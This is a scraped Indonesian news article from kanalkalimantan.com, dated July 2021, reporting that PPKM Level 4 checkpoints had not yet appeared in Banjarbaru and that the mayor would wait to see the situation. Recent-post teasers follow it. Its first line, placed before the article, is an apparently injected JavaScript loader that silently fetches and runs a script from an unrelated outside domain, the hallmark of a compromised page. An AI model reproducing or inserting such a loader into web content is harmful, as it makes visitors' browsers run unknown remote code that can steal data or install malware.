(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Belum Ada Posko Penyekatan PPKM Level 4 di Banjarbaru, Wali Kota: Masih Melihat SituasiÂ


KANALKALIMANTAN.COM, BANJARBARU – Jelang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 mulai Senin 26 Juli hingga 8 Agustus 2021 (14 hari) di Kota Banjarbaru belum ada tanda persiapan posko titik penyekatan.

Pantauan Kanalkalimantan.com Minggu (25/7/2021) siang belum terlihat posko penyekatan, rencana titik-titik penyekatan di depan Q Mall Banjarbaru masih belum terlihat adanya barikade, maupun pos cek poin pelintas seperti saat Banjarbaru memberlakukan PSBB tahun 2020 lalu.

Sebelumnya, Kapolres AKBP Doni Hadi Santoso menyampaikan, pihaknya didukung oleh personil TNI, serta dinas dan instansi terkait akan melakukan penyekatan jalur masuk dan jalur keluar Kota Banjarbaru.

Baca juga: PPKM Level 4 Banjarbaru-Banjarmasin Selama 14 Hari, Kalsel Minta Tambahan Vaksin dan Oksigen!

 

 

Langkah ini dilakukan untuk membatasi aktivitas masyarakat terkait PPKM level 4 tersebut.

Ada empat pintu penyekatan yang akan diaktifkan dan dijaga personel gabungan di Banjarbaru yakni di depan Kota Citra Jalan A Yani Km 18, di LIK Liang Anggang arah Pelaihari, di depan Q Mall, Jalan Mistar Cokrokusomo di Kelurahan Bangkal, Kecamatan Cempaka –perbatasan dengan Kabupaten Tanah Laut.

Diketahui titik-titik pos penyekatan atau penjagaan kini belum terlihat ada persiapan penyekatan maupun Posko dibangun.

Baca juga: BREAKING NEWS. Bupati Banjar Periode 2016-2021 KH Khalilurrahman Berpulang

Wali Kota Banjarbaru, Aditya Mufti Ariffin, saat dihubungi oleh kanalkalimantan.com menyampaikan akan melihat situasi terlebih dahulu, terkait rencana pemantauan langsung tengah malam nantinya. “Nanti kita liat situasinya,” kata Wali Kota Banjarbaru, dihubungi Minggu (25/7/2021) siang.

Meski demikian, masyarakat diminta tetap patuh saat melintas di titik penyekatan terkait dan seraya membawa dokumen perjalanan sesuai ketentuan berlaku.

Hal tersebut dilakukan supaya pandemi Covid-19 di dalam Negeri segera bisa dikendalikan secara optimal dan penyekatan dapat dilonggarkan. Alhasil, aktivitas bakal kembali seperti semula. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.